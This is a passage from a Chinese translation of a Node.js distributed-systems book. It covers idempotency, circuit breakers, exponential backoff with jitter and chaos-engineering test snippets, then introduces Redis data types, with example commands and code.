如果一个请求是幂等的,可以多次重复而不产生副作用。例如,如果客户端请求 DELETE /recipes/42,则记录将被删除。如果重复这个请求,记录不会被多次删除或少次删除。即使第一个请求可能以 200 状态成功,后续请求可能以 404 状态失败,请求本身仍然是幂等的。这基于一个假设,即 URL 代表一个特定资源,并且其他资源不能复用该 URL。
如果一条消息可能导致数据丢失,则称其为破坏性消息。例如,PUT 和 PATCH 请求可能会覆盖另一个客户端请求最近设置的数据,而 DELETE 则肯定会销毁数据。在这些情况下,服务器可以选择实现 ETag 和 If-Match HTTP 头部,以提供额外的语义来避免数据覆盖。这类似于 “引入 Memcached” 中提到的 Memcached CAS 概念。
如果一条消息不修改资源,则称其为安全消息。在这个列表中,只有 GET 方法是安全的。
任何导致 4XX HTTP 错误的消息都不应重试。在这种情况下,客户端可能在请求中犯了一些错误(例如提供了错误类型的数据)。再次尝试相同的请求应始终失败。
进一步复杂化的是,根据遇到的具体 5XX 错误,客户端可能在技术上可以假设服务器已收到消息,但未尝试处理它。例如,503 Service Unavailable 错误可能意味着服务器已接收到消息,但未连接到数据库。也许在处理内部服务时,你可以得出这样的假设。然而,通常情况下,特别是来自外部服务的 5XX 错误,最安全的做法是假设服务器的状态是未知的。
服务器可能选择实现的一种机制,使每个请求都具有幂等性,称为幂等性键。幂等性键是客户端在向服务器发出请求时提供的元数据。在 Stripe API 中,客户端可以发送 Idempotency-Key 头部;在 PayPal API 中,客户端可以提供 PayPal-Request-Id 头部。当服务器收到带有这个键的请求时,它首先检查缓存中是否存在该键的条目。如果缓存中存在条目,则服务器立即使用缓存条目回复。如果缓存中不存在条目,则服务器按常规执行请求,然后将响应写入缓存并回复请求。由于长时间后重复请求很少发生(重试应在几分钟内完成),因此可以在一定时间后清除缓存中的条目(Stripe 在 24 小时后清除)。如果重复请求的副作用可能很昂贵,请考虑在你的 API 中支持幂等性键。
断路器模式
有时,网络丢失了一两条消息。其他时候,服务真的是停机了。无论客户端如何尝试,都无法联系到失效的服务器。在这些情况下,客户端通常最好放弃一段时间。放弃后,客户端能够更快地失败传入的请求(如果适当的话),减少网络中的请求浪费,并且过载的服务器可能会成功地响应其他传入的请求。这种在服务器被认为是停机状态时不进行出站请求的方法称为断路器模式。
客户在确定客户端是否处于停机状态时有许多选择。例如,他们可以选择在触发断路器之前定义阈值,比如在 60 秒内遇到十次 500 错误。其他方法可能涉及检查服务的响应时间,如果响应时间超过 200 毫秒,则认为服务已停机。
在区分各种服务时情况会更加棘手。例如,在使用 Kubernetes 时,您创建了一个 Service 对象,将个别服务实例抽象化了。在这种情况下,无法区分故障的服务实例和健康的服务实例。幸运的是,Kubernetes 可能会处理健康检查并可以自动清理服务。对于其他技术,例如 HashiCorp 的 Consul,可以构建一个系统,在该系统中应用程序维护一个维护服务实例的内存列表。在这种情况下,可以按个别实例应用断路器。
当涉及与外部服务的通信,例如 GitHub API 时,您可能永远不会知道哪个底层服务实例在响应请求;您只知道“GitHub API 停机了”。在这些情况下,您可能需要对整个第三方 API 进行断路处理。这可以通过在像 Redis 这样的快速内存数据库中保持故障计数器来完成。当 500 错误或ECONNREFUSED错误的数量达到阈值时,您的服务将放弃发出请求,而是立即失败。
指数退避
有一个客户端重试向外部服务发出请求的朴素方法,即在失败发生后立即再次发出请求。然后,如果重试失败,立即再次尝试。这种方法可能无法帮助请求成功,还可能加剧问题。
图 8-6 展示了一个客户端使用即时重试的示例。在这个图示中,服务实例 A 崩溃了。与此同时,客户端正在向服务发出请求。一旦客户端开始收到失败响应,它就会开始更快地发送请求。这时客户端会比必要的工作更加努力,网络会被无用的请求淹没。即使新的服务实例 B 启动后,它仍然需要经历一个启动阶段,可能会继续拒绝任何接收到的请求。在这种情况下,服务可能会比必要的更加努力来响应请求。

图 8-6. 没有指数回退
当你使用 Kubernetes 时,你可能会注意到集群中一个常见的主题是应用程序达到所需状态需要时间。一个原因是应用程序启动和建立到数据库等外部服务的连接需要时间。另一个原因是 Kubernetes 需要时间来注意到健康检查失败并重新启动服务。因为这些部署和重新启动需要时间,请求的重试也应该花费一些时间。
通常情况下,当与服务通信出现问题时,可能只是暂时性问题。例如,一个网络消息可能在 1 毫秒内丢失。其他时候,服务可能会长时间处于停机状态。例如,它可能已经丢失了与数据库的连接,需要重新建立连接,需要一两秒钟的时间。还有时候,服务器恢复的时间更长,例如当健康检查失败并重新启动实例时,可能需要长达一分钟。最后,有时服务可能会长达数小时处于停机状态,例如当部署了 DNS 配置错误并需要工程师手动回滚时。
由于服务可能会长时间处于停机状态,以及由于失败请求而产生的成本,需要采用一种不同的重试请求方法。目前,行业标准称为指数回退。使用这种方法,客户端开始时会快速进行重试尝试,然后随着时间的推移减慢速度。例如,一个服务可能选择以下的请求重试时间表:
100ms | 250ms | 500ms | 1000ms | 2500ms | 5000ms | 5000ms | ...
在这种情况下,第一次重试在 100 毫秒后进行,第二次在 250 毫秒后进行,依此类推,直到达到 5 秒,此后每隔 5 秒重试一次。当然,这种方法并不完全是指数的。但这种方法易于理解,因为它使用了人类熟悉的值进行四舍五入。一旦应用程序达到每 5 秒发起一次请求的阶段,它几乎不太可能会超载任何服务。
这种方法可以与之前使用过的 ioredis 包一起使用。ioredis 包内置了重试支持。以下是如何调整此连接重试计划的示例:
const Redis = require('ioredis');
const DEFAULT = 5000;
const SCHEDULE = [100, 250, 500, 1000, 2500];
const redis = new Redis({
retryStrategy: (times) => {
return SCHEDULE[times] || DEFAULT;
}
});
在这种情况下,retrySchedule() 方法接受一个参数,即当前的重新尝试次数。然后该方法返回一个值,即重新连接前等待的毫秒数。该函数本身尝试从重试计划中获取一个值,如果在计划中找不到则返回默认值。
根据操作的不同,选择不同的重试计划可能是有意义的。例如,对于一个依赖数据库连接的服务来说,这种计划可能是合适的。一旦应用程序达到五秒的标记,它将继续尝试无限期地重新连接到数据库。然而,对于其他请求,例如从下游服务收到的入站请求中作为上游服务的 HTTP 请求,保持入站请求打开时间过长并不有益。在这种情况下,使用包含三次重试的有限计划可能是有意义的。在性能更重要时,重试应更快地触发。例如,HTTP 重试计划可能更像这样:
10ms | 20ms | 40ms | quit
尽管指数回退看起来是解决重试问题的好方法,但在与内部服务一起使用时可能会引发一些其他问题。例如,假设有一组 10 个客户端与单个服务器通信。每个客户端向服务器发送稳定的请求流。然后,服务在几秒钟内死机,然后重新启动。当这种情况发生时,每个客户端可能会同时注意到服务已经关闭。然后,它们将根据指数回退计划重新尝试向服务器发送请求。但这意味着每个客户端现在都在同时发出请求。当服务器最终重新启动时,它将同时接收一波波的请求!这可能导致服务器在某些时段不工作并在其他时段不堪重负。这种现象被称为集中请求现象。图 8-7 展示了这种情况的示例。

图 8-7. 集中请求现象
要解决这个问题,您可能希望在应用程序中引入jitter。抖动是随机变化,例如请求时间增加或减少±10%。当这种情况发生时,一些客户端可能会更快地完成请求,而另一些则可能更慢。这有助于随时间分散消息重试,并最终达到一个在所有客户端上均匀分布的请求速率。
随机抖动可以像下面这样引入到前面的示例中:
const redis = new Redis({
retryStrategy: (times) => {
let time = SCHEDULE[times] || DEFAULT;
return Math.random() * (time * 0.2) + time * 0.9; // ±10%
}
});
抖动的概念在其他情况下也很有用。例如,一个应用程序可能需要在内存中缓冲统计数据,并每分钟将其刷新到数据库。可以通过在应用程序启动时调用setInterval(fn, 60_000)来实现。然而,同样存在雷霆兽问题。应用程序通常会同时部署在一组中。这意味着当部署 10 个应用程序时,每分钟会同时进行 10 次刷新,定期使数据库不堪重负。
相反,在进程启动时可以基于每个进程随机计算抖动,其中抖动值是介于零和时间间隔之间的数字。例如,当计算每分钟发生的操作的间隔时,可以编写如下代码:
const PERIOD = 60_000;
const OFFSET = Math.random() * PERIOD;
setTimeout(() => {
setInterval(() => {
syncStats();
}, PERIOD);
}, OFFSET);
使用这种方法,实例 A 可能会得到 17 秒的偏移量,实例 B 得到 42 秒的偏移量,实例 C 得到 11 秒的偏移量。然后,请求时间表会如下所示:
071 077 102 131 137 162 191 197 222
但是如果没有抖动,请求时间表将会像这样:
060 060 060 120 120 120 180 180 180
弹性测试
作为工程师,很容易将错误场景视为二等公民。工程师可能仅测试应用程序的正常路径,无论是通过 UI 与新功能交互,还是编写单元测试。当仅测试功能的成功使用时,一旦应用程序不再在开发者的笔记本上运行并且部署到生产环境时,应用程序容易出现故障。在分布式环境中,故障可能会进一步加剧,因为一个应用程序中的错误可能导致其他应用程序出错——通常没有原始的堆栈跟踪用于调试。
一个用于确保处理此类错误的哲学称为混沌工程。这是一种方法,通过在环境中随机引入故障,将通常是罕见的故障变成日常事件。工程师被迫尽早处理这些问题,以免在半夜的报警声中受苦。这种对故障进行测试的方法是您可能考虑在组织内使用的一种方法,尽管它需要一支非常纪律严明的开发团队才能实现。
在引入混沌到组织中时,首先需要考虑在哪些环境中启用混沌。虽然在生产环境引入混沌可能是测试系统抵御故障能力的最终测试,但从演练环境开始会更容易获得管理层的支持。
另一个需要考虑的事情是应该向系统引入什么类型的混乱。在规划时,考虑到真实世界应用程序中的实际故障情况非常重要。以下是一些关于基于我在工作中遇到的应用程序中一些常见故障边界的 Node.js 应用程序中可以引入的混乱类型的示例。
随机崩溃
本书中反复出现的一个主题是进程实例会死亡。因此,重要的是将状态保持在应用程序实例外部。当客户端与服务器通信时遇到故障时,客户端重试请求是非常重要的。
示例 8-14 是如何在应用程序中引入随机崩溃的示例。
示例 8-14. 随机崩溃混乱
if (process.env.NODE_ENV === 'staging') {
const LIFESPAN = Math.random() * 100_000_000; // 0 - 30 hours
setTimeout(() => {
console.error('chaos exit');
process.exit(99);
}, LIFESPAN);
}
此示例首先检查它正在运行的环境。在这种情况下,只有在测试环境中才会引入混乱。接下来,计算了进程的寿命。在这种情况下,计算出的数字是介于 0 和 30 小时之间的某个时间。然后,安排一个函数在达到该时间后触发。一旦计时器触发,应用程序将退出。在此示例中,退出状态设置为 99,并且还打印了一条消息到stderr。这对于调试崩溃的原因非常有帮助;如果没有它,工程师可能会浪费大量时间试图修复有意崩溃的应用程序。
假设你的应用程序正在由某种监管程序(如 Kubernetes)监视的环境中运行,一旦崩溃,应该重新启动进程。一旦崩溃,服务收到的请求将会失败一段时间。此时客户端需要在这些情况下实施重试逻辑。考虑根据你的环境调整崩溃之间的时间间隔;也许在开发笔记本上应该每两分钟崩溃一次,在测试环境中每几小时一次,在生产环境中每周一次。
事件循环暂停
当你的基于 JavaScript 的 Node.js 应用程序中的事件循环暂停时,整个应用程序将停止运行。在此期间,它无法处理请求。有趣的是,当发生这种情况时,异步定时器可能会出现竞争条件。假设进程无法在足够长的时间内响应请求,甚至可能会失败健康检查并被考虑重新启动。
示例 8-15 展示了如何向你的应用程序引入随机暂停。
示例 8-15. 随机事件循环暂停
const TIMER = 100_000;
function slow() {
fibonacci(1_000_000n);
setTimeout(slow, Math.random() * TIMER);
}
setTimeout(slow, Math.random() * TIMER);
在这种情况下,应用程序随机运行一个计时器,时间介于 0 到 100 秒之间,随机重新安排运行,直到进程终止。当计时器触发时,它会执行一个一百万次迭代的斐波那契计算。斐波那契计算将根据使用的 V8 引擎版本和应用程序运行的 CPU 速度而需花费一定时间。请考虑查找一个数字,或者一个随机范围的数字,可以导致您的应用程序冻结多秒钟。
随机失败的异步操作
最常见的故障场景之一是进行异步操作时。在进行 HTTP 请求、读取文件或访问数据库时,错误是相当常见的。与前两个例子不同,这个例子需要对应用程序代码进行一些轻微的修改。在这种情况下,在应用程序与底层库通信的边界处添加了一个新函数。
示例 8-16 展示了如何在应用程序中引入对异步调用的随机失败。
示例 8-16. 随机异步失败
const THRESHOLD = 10_000;
async function chaosQuery(query) {
if (math.random() * THRESHOLD <= 1) {
throw new Error('chaos query');
}
return db.query(query);
}
const result = await chaosQuery('SELECT foo FROM bar LIMIT 1');
return result.rows[0];
此特定示例提供了一个新方法chaosQuery(),可以用作替代已暴露db.query()方法的现有包。在此示例中,大约每 10,000 个数据库查询中就会出现一个错误。这个简单的异步方法包装器也可以应用于其他情况,比如使用node-fetch包进行 HTTP 调用。
^(1) 通过将代码分配给process.exitStatus,然后在没有参数的情况下调用process.exit(),也可以设置退出状态。
^(2) 还有一个可用的process.abort()方法。调用它会立即终止进程,打印一些内存位置,并在操作系统配置为这样做时将核心转储文件写入磁盘。
^(3) 废弃的内部domain模块提供了一种从许多EventEmitter实例捕获error事件的方法。
^(4) 我两年前向包作者报告了这个问题。祈祷!
^(5) 像 Rust 和 C++这样的语言允许进行极其精确的内存计算;而 JavaScript 只能使用近似值进行工作。
^(6) 您还可以通过在每个命令前加上npx来避免全局安装knex,例如npx knex init。
^(7) 一些系统认为我的名字是“托马斯·亨特”,姓氏是“二世”。
第九章:分布式原语
数据原语在处理单线程程序时相对直接。想要创建一个锁?只需使用布尔值。想要一个键/值存储?Map实例是你的朋友。想要保持有序的数据列表?可以使用数组。当只有单个线程读取和写入数组时,调用Array#push()和Array#pop()就像呼吸一样简单。在这种情况下,数组实例是完整的真实源。没有其他可能会失步的副本,也没有可能接收到顺序不对的传输中的消息。将数据持久化到磁盘只需调用JSON.stringify()和fs.writeFileSync()。
不幸的是,这种方法的性能影响巨大,而且几乎不可能扩展到规模庞大的用户群。更不用说这样的系统存在单点故障!相反,正如你在本书中看到的,性能和避免单点故障的解决方案取决于冗余的分布式进程。在存储和操作数据时必须特别小心,特别是涉及分布式系统时。
并非每个问题都能使用相同的数据存储来解决。根据数据需求(如实体关系、数据量以及一致性、持久性和延迟要求),必须选择不同的解决方案。对于由分布式服务组成的应用程序来说,有时需要几种数据存储工具。有时你需要图数据库,有时你需要文档存储,但更常见的情况可能是你只需要关系型数据库。
本章涵盖了几种不同的数据原语,这些数据原语在单个 Node.js 进程中很容易表示,并展示了它们在分布式系统中的建模方式。虽然有许多不同的工具可以用来实现各种原语,但本章集中在使用其中一种。但在深入研究之前,先探讨一下在单个实例中可能看似容易模拟但在分布式环境中却变得相当复杂的问题。
ID 生成问题
不久前,我发现自己接受了几次面试。这一批面试是我有史以来在如此短的时间内经历过的最多的面试。讽刺的是,目的甚至不是为了找到新工作,但这是另一天的故事了。在这一轮面试中,多家公司问了我同样的问题。这甚至可能是你自己曾经收到过的一个问题:
“你会如何设计一个链接缩短服务?”
看起来每家硅谷的科技公司
你可能已经知道这一套路,但以防万一,就像这样:一个链接缩短器是一个 HTTP 服务,用户代理可以向短网址(如http://sho.rt/3cUzamh)发出请求,请求将被重定向到一个更长的网址(比如http://example.org/foo/bar?id=123)。首先,候选人应该提出一系列问题。“有多少用户会使用这项服务?短网址应该有多长?如果用户能够猜到短网址,这样可以吗?”一旦完成,面试官会做些笔记,然后候选人到白板上,开始画架构图和编写伪代码。
评估候选人有许多方面,通常面试官并不是在寻找完美的答案,而是希望候选人展示他们的计算机科学知识深度(“……在这里我们需要一个 DNS 服务器……”或“……一个 NoSQL 键/值存储可能比关系型存储更合适……”或“……一个用于频繁使用的 URL 的缓存……”)。我认为这个问题最有趣的部分是:你是如何生成用于短网址的 ID 的?
最终,URL ID 代表一个键,关联的值包含原始完整的 URL。无论短网址的保密性是否是一个要求,系统都将以不同的方式构建。无论如何,在分布式环境中的影响几乎相似。就争论而言,允许用户猜测短网址是可以接受的。有了这个要求,有一个标识符是一个计数器,从 1 递增到服务终止是可以接受的。通常,涉及某种编码以使 URL 更有效。例如,十六进制(0-9A-F)每字节允许表示 16 个唯一值,而十进制(0-9)只提供 10 个值。Base62 每字节允许表示 62 个唯一值(0-9a-zA-Z)。出于简单起见,我只讨论这些标识符的十进制表示,但在实际系统中,它们会被编码以节省空间。
示例 9-1 演示了如何使用单个 Node.js 进程构建此链接缩短器。
示例 9-1. link-shortener.js
const fs = require('fs');
fs.writeFileSync('/tmp/count.txt', '0'); // only run once
function setUrl(url) {
const id = Number(fs.readFileSync('/tmp/count.txt').toString()) + 1;
fs.writeFileSync('/tmp/count.txt', String(id));
fs.writeFileSync(`/tmp/${id}.txt`, url);
return `sho.rt/${id}`;
}
function getUrl(code) {
return fs.readFileSync(`/tmp/${code}.txt`).toString();
}
单线程方法简直无法再简单了(牺牲了任何错误处理)。在设置链接时,URL 的标识符是一个数字,该标识符映射到完整的 URL,任何使用完整 URL 调用setUrl()将原子地将 URL 写入磁盘并返回用于表示 URL 的标识符。为了获取链接,读取相应的文件。构建此链接缩短器需要两种原语。第一个是计数器(counter变量),第二个是映射(存储在/tmp/中的文件)。图 9-1 展示了这两个setUrl()和getUrl()操作在时间轴上的工作方式。

图 9-1. 单线程 get 和 set 操作
这个图表将单线程 Node.js 应用程序中的操作分解为不同的通道,每个通道代表被查询的原语。在这种情况下,client 通道代表外部实体调用这两种方法。如果代码示例暴露了一个 web 服务器,那么客户端很可能是外部客户端。logic 通道表示围绕原语的协调逻辑;基本上它表示 JavaScript 代码本身。counter 通道表示与计数器原语的交互,map 通道表示与映射原语的交互。只有setUrl()方法需要访问计数器;getUrl()方法更简单,只是从映射中读取。
除了缺少错误处理之外,这段代码在单线程服务中技术上是可以接受的。但是,加入第二个服务实例后,应用程序就完全崩溃了。特别是,标识符增量不是原子的。需要三个步骤来增加:第一步是读取计数器值,第二步是增加该值,第三步是将该值写回持久存储。如果两个单独的服务同时接收到请求,它们将同时读取相同的 id 值(例如 100),它们将同时增加该值(变为 101),它们将同时将相同的值写入磁盘(101)。它们还将同时写入同一个文件(101.txt),第二个进程写入的内容将覆盖第一个进程写入的内容。
修复这个问题的一种方法是使用另一个原语,称为锁,尽管这会引入很多复杂性。锁本质上是一个布尔值。如果值为 true,则资源由一个客户端锁定,并且其他客户端应该将其视为只读。如果值为 false,则资源未锁定,客户端可以尝试设置锁。可以使用文件系统来实现锁,方法是在写文件时使用wx标志,但仅当文件不存在时才能创建文件。
fs.writeFileSync('/tmp/lock.txt', '', { flag: 'wx' });
假设文件不存在,此代码将创建一个名为lock.txt的空文件并继续运行。此时,应用程序可以自由获取计数器值,增加该值,再次写入计数器值,并使用fs.unlinkSync()删除锁定文件释放锁定。但是,如果文件已经存在,则应用程序需要做一些不同的事情。例如,可以在while循环中调用fs.writeFileSync()。如果调用抛出错误,则捕获错误并继续循环。最终,另一个程序应该完成对计数器的写入并释放锁定,此时调用应该成功。
听起来有点牵强,我知道,但这基本上就是多线程编程的底层发生的事情。在等待锁解锁时循环,这称为自旋锁。如果客户端崩溃并且没有释放锁,会发生什么?那么其他客户端将永远等待!在涉及多个锁的更复杂情况中,程序实例 A 和程序实例 B 可能会因为彼此等待释放锁而陷入僵局。当这种情况发生时,称为死锁。在应用程序代码中手动维护这些锁是一件风险很高的事情。
此部分仅涵盖了一个情况,即通过从单个实例移动到分布式系统使数据原语变得更加复杂,正如您可能想象的那样,还有许多其他情况等待您去发现。现在您已经了解了分布式原语如何变得复杂,您可以开始动手使用构建用于在分布式环境中存储原语的服务了。
Redis 简介
Redis 是一个强大的服务,提供多个有用的数据结构,并提供许多不同的命令与这些数据结构交互。Redis 具有许多替代数据存储服务没有的限制:Redis 实例中存储的数据必须完全适合内存。因此,当考虑作为主数据存储(即作为真相源的服务)的工具时,Redis 通常被忽略。它更多地被固定在仅充当缓存的角色中。
要真正将 Redis 整合到您的工具库中,而不仅仅将其视为另一个缓存,您必须利用它提供的独特查询能力。为此,您可能需要在 Redis 中存储来自主要后备存储(如 Postgres)的数据子集。Redis 通常允许以快速和独特的方式查询数据,而其他数据库系统不一定支持。
例如,Redis 支持一种地理空间数据类型。这种数据类型存储与标识符关联的一组纬度和经度对。该标识符可用于引用主数据存储中的主键。可以查询这种地理空间数据结构,以获取与提供的纬度和经度对距离可配置的记录内的所有 ID 列表。在这种情况下,通过使用用户位置查询 Redis,可以查询具有匹配标识符的条目。采用这种方法,Redis 仅存储标识符和地理位置的副本;主要后备存储器包含所有这些数据以及更多内容。由于 Redis 在此情况下仅具有数据的子集,因此如果 Redis 崩溃,可以使用主存储中的数据重建 Redis。
Redis 在某些方面类似于 Node.js。在 Redis 中运行的命令以单线程方式进行,一个命令总是在另一个命令之后顺序运行。然而,在服务的边缘支持一些多线程,例如从网络读取或将数据持久化到磁盘时的 I/O。基本上,单个 Redis 实例是单线程的。但是,Redis 可以作为集群的一部分运行,有助于克服内存限制。具有 2GB 内存访问权限的三个 Redis 实例将能够存储共计 6GB 的数据。
运行以下命令在您的机器上启动 Redis 服务器:
$ docker run -it --rm \
--name distnode-redis \
-p 6379:6379 \
redis:6.0.5-alpine
此命令在暴露默认端口6379的同时运行 Redis,将终端窗口绑定,直到服务器被终止。服务器仅会显示最重要的操作信息,例如服务器关闭或将数据写入磁盘时的信息。
Redis 使用的协议非常简单,主要是通过网络发送纯文本。执行以下 netcat 命令以说明这一点:
$ echo "PING\r\nQUIT\r\n" | nc localhost 6379
> +PONG
> +OK
在这种情况下,向 Redis 发送了两个命令。第一个是PING命令,第二个是QUIT命令。命令通过回车和换行字符分隔以区分彼此。命令可以像这样组合,这是一个称为管道化的特性,或者它们可以存在为单独的 TCP 消息。两个响应与两个命令对应。QUIT命令还指示 Redis 服务器关闭 TCP 连接。如果在运行此命令时遇到错误,请检查您的 Redis Docker 命令是否格式正确。
直接通过 TCP 回声文本并不是与服务进行交互的最简单方法。Redis 提供了一个 REPL,可以通过在容器内运行redis-cli命令来使用。REPL 提供了一些基本的自动完成和着色功能。在您的终端中运行以下命令启动交互式 Redis REPL:
$ docker exec -it \
distnode-redis \
redis-cli
当您启动并运行 REPL 后,输入命令INFO server并按回车键。您将看到关于服务器的一些信息作为响应。Redis 服务器运行并且 REPL 连接成功后,您现在可以开始尝试服务器的功能了。
Redis 操作
Redis 使用键值对存储数据。每个键包含特定类型的数据,并且根据数据类型,可能会使用不同的命令与给定键交互。截至 Redis 6,已经有超过 250 个可用命令!
在使用 Redis 集群时,键的名称将被散列以确定哪个 Redis 实例持有特定键,这种技术称为分片。如果这些键全部位于同一个实例中,可以执行处理多个键的操作。在建模数据时,请记住这一点。在本节中,您将使用单个 Redis 实例。
Redis 键是一个可以包含二进制数据的字符串,但使用像 ASCII^(1) 这样的简化编码可能会使应用程序开发更加简便。由于键名是一个单一的字符串,它们通常包含一组复合信息是很常见的。例如,代表用户的键可能看起来像 user:123,而代表用户朋友的键则可能类似于 user:123:friends。Redis 数据库中的键是唯一的。提前确定命名约定非常重要,因为任何使用 Redis 数据库的客户端都需要以相同的方式生成名称,并且不相关的实体不应该有名称冲突。
无论键包含的数据类型是什么,每个键都附有元数据。这包括像访问时间这样的数据,对于当服务器配置为 LRU 缓存时非常有用,以及 TTL 值,允许在指定时间过期键。
创建一个名为 redis 的新目录。在此目录中,初始化一个新的 npm 项目并安装 ioredis 依赖:
$ mkdir redis && cd redis
$ npm init -y
$ npm install ioredis@4.17
当您在目录中时,请创建一个名为 basic.js 的新文件。将内容从 示例 9-2 添加到该文件中。
示例 9-2. redis/basic.js
#!/usr/bin/env node
// npm install ioredis@4.17
const Redis = require('ioredis');
const redis = new Redis('localhost:6379');
(async () => {
await redis.set('foo', 'bar');
const result = await redis.get('foo');
console.log('result:', result);
redis.quit();
})();
ioredis 包在 redis 对象上公开了与等效的 Redis 命令同名的方法。在这种情况下,redis.get() 方法对应于 Redis 的 GET 命令。传递给这些方法的参数然后对应于传递给底层 Redis 命令的参数。在这种情况下,在 JavaScript 中调用 redis.set('foo', 'bar') 结果是在 Redis 中运行 SET foo bar 命令。
接下来,执行该文件:
$ node redis/basic.js
> result: bar
如果您收到相同的响应,则表示您的应用程序能够成功与 Redis 服务器通信。如果收到连接错误,请检查您用于启动 Docker 容器的命令,并确保连接字符串格式正确。
提示
你可能注意到的一件事是,应用程序在发送命令之前并不等待与 Redis 的连接。ioredis 包在内部将命令排队,直到连接准备就绪才将其分发。这是许多数据库包使用的便利模式。当应用程序首次运行时发送太多命令可能会限制资源。
本节剩余部分专注于常见的 Redis 命令,按其所操作的数据类型进行分类。熟悉它们将使您了解 Redis 的能力。如果您想要运行它们,可以修改您创建的 redis/basic.js 脚本,或者将命令粘贴到您仍然保持打开的 Redis REPL 中。
字符串
字符串存储二进制数据,并且是 Redis 中提供的最基本的数据类型。从某种意义上说,这是 Memcached 提供的唯一数据类型,一个竞争缓存服务。如果您严格将 Redis 用作缓存,则可能永远不需要接触其他数据类型。
在字符串上执行的最基本操作是设置值和获取值。切换回你的 Redis REPL 并运行以下命令:
SET foo "bar"
当你输入SET命令时,redis-cli REPL 将为命令的剩余参数提供提示。许多 Redis 命令提供更复杂的参数,特别是在改变元数据时。根据 REPL,SET命令的完整形式如下:
SET key value [EX seconds|PX milliseconds] [NX|XX] [KEEPTTL]
方括号中的选项是可选的,竖线表示可以使用其中之一。第一个选项允许命令设置 TTL 值,并且可以使用秒数(EX 1)或毫秒数(PX 1000)提供值。第二对选项处理替换现有值。NX选项仅在尚不存在具有相同名称的键时执行替换,而XX选项仅在已存在值时设置值。最后,KEEPTTL可用于保留已存在的键的现有 TTL 值。
现在你已经在 Redis 中设置了一个值,请运行以下命令来检索它:
GET foo
> "bar"
在这种情况下,字符串bar被返回。
大多数情况下,Redis 不关心存储在键中的值,但有几个显著的例外。例如,字符串数据类型允许对值进行数值修改。作为此功能的示例,在你的 REPL 中运行以下命令:
SET visits "100"
> OK
INCR visits
> (integer) 101
第一个命令将名为visits的键设置为字符串值100。下一个命令增加键的值并返回结果;在这种情况下,结果是值101。INCR和INCRBY命令允许应用程序原子地增加一个值,而不必首先检索该值,本地增加它,然后设置该值。这消除了在你在 示例 9-1 中构建的单线程 Node.js 服务中存在的竞态条件。请注意,返回提示显示有关结果的一些元数据。在这种情况下,它暗示该值为整数。如果你运行GET visits命令,该值将再次作为字符串检索。
请注意,如果你未首先为visits键设置值,则INCR命令将假定缺失的值为零。大多数操作中,Redis 假定适当的空值。这使得在分布式环境中与 Redis 交互更加方便。例如,如果没有这个零默认值,如果你部署了一组 Node.js 应用实例,每当接收到请求时都会递增visits值,那么你需要在应用程序运行之前手动将visits设置为零。
Redis 有数十个专门用于操作字符串的命令。可以使用APPEND命令将值附加到字符串。可以对字符串的子集应用位读写操作,并且可以使用INCRBYFLOAT命令使用浮点值进行增量。
列表
列表数据结构存储了一系列字符串值的链表,并且与 JavaScript 数组类似。与 JavaScript 数组类似,条目是有序的,允许重复。
运行以下命令向名为 list 的列表添加一些条目,然后检索它们:
RPUSH list aaa
> (integer) 1
RPUSH list bbb
> (integer) 2
LRANGE list 0 -1
> 1) "aaa"
> 2) "bbb"
同样地,就像处理字符串一样,Redis 假定列表数据类型的适当空值。在这种情况下,当您运行第一个 RPUSH 命令时,名为 list 的键不存在。Redis 假定这是一个空列表,并向列表添加了一个条目。RPUSH 命令的结果是列表的长度,首先返回 1,然后返回 2。最后,LRANGE 命令获取列表中的条目列表。与 JavaScript 类似,Redis 假定列表索引从零开始。LRANGE key 0 -1 命令始终可以用来检索整个列表,无论其长度如何。
Redis 提供了超过十几个与列表数据类型相关的命令。表 9-1 列出了许多 Redis 列表命令及其在 JavaScript 数组上的等效操作。
表 9-1. Redis 列表命令及其等效 JavaScript 数组操作
| 操作 | Redis 命令 | JavaScript 数组等价操作 |
|---|---|---|
| 右侧添加条目 | RPUSH key element |
arr.push(element) |
| 左侧添加条目 | LPUSH key element |
arr.unshift(element) |
| 从右侧获取条目 | RPOP key element |
arr.pop(element) |
| 从左侧获取条目 | LPOP key element |
arr.shift(element) |
| 获取长度 | LLEN key |
arr.length |
| 检索索引处元素 | LINDEX key index |
x = arr[index] |
| 替换索引处元素 | LSET key index element |
arr[index] = x |
| 移动元素 | RPOPLPUSH source dest |
dest.push(source.pop()) |
| 获取元素范围 | LRANGE key start stop |
arr.slice(start, stop+1) |
| 获取第一次出现 | LPOS key element |
arr.indexOf(element) |
| 获取最后一次出现 | RPOS key element |
arr.lastIndexOf(element) |
| 缩减大小 | LTRIM key start stop |
arr=arr.slice(start,stop+1) |
有些命令一开始看起来可能有点奇怪。例如,为什么 Redis 需要 RPOPLPUSH 命令,而不是使用其他命令的组合来重建?这主要是因为需要支持许多分布式客户端对位于集中位置的数据执行原子操作。如果没有 RPOPLPUSH 命令,客户端需要分别执行 RPOP 和 LPUSH 命令,这使得另一个客户端可以交错执行命令,可能导致数据处于不一致的状态。有关这类情况的更详细信息,请参见“追求原子性”。
注意
当从列表中删除最后一个元素时,Redis 将完全删除该键。您可以通过两次运行 RPOP list 命令,然后运行 KEYS * 命令来验证此行为;list 键不再存在。这种行为与字符串数据类型不同,字符串数据类型可以包含空字符串。
集合
Redis 集合是一组唯一值的无序集合。它类似于 JavaScript 中的 new Set()。当向 JavaScript 或 Redis 集合中插入冗余值时,冗余条目将被静默忽略。
在您的 REPL 中运行以下命令以向集合中添加条目,并随后检索它们:
SADD set alpha
> (integer) 1
SADD set beta
> (integer) 1
SADD set beta
> (integer) 0
SMEMBERS set
> 1) "beta" 2) "alpha"
第一个 SADD 命令将名为 alpha 的条目添加到名为 set 的集合中。第二个命令将名为 beta 的条目添加到同一集合中。这两个命令都返回 1,表示成功添加了一个条目。第三个 SADD 命令尝试再次向集合中添加 beta。这次返回 0,表示未添加任何条目。最后,SMEMBERS 命令返回集合中每个成员的列表。
表 9-2 是一些 Redis 集合命令及其使用 JavaScript Set 的等效操作的列表。
表 9-2. Redis 集合命令及其等效的 JavaScript set 操作
| 操作 | Redis 命令 | JavaScript set 等效操作 |
|---|---|---|
| 向集合添加条目 | SADD key entry |
set.add(entry) |
| 计算条目数 | SCARD key |
set.size |
| 检查集合是否包含条目 | SISMEMBER key entry |
set.has(entry) |
| 从集合中删除条目 | SREM key entry |
set.delete(entry) |
| 检索所有条目 | SMEMBERS key |
Array.from(set) |
| 在集合之间移动 | SMOVE src dest entry |
s2.delete(entry) && s1.add(entry) |
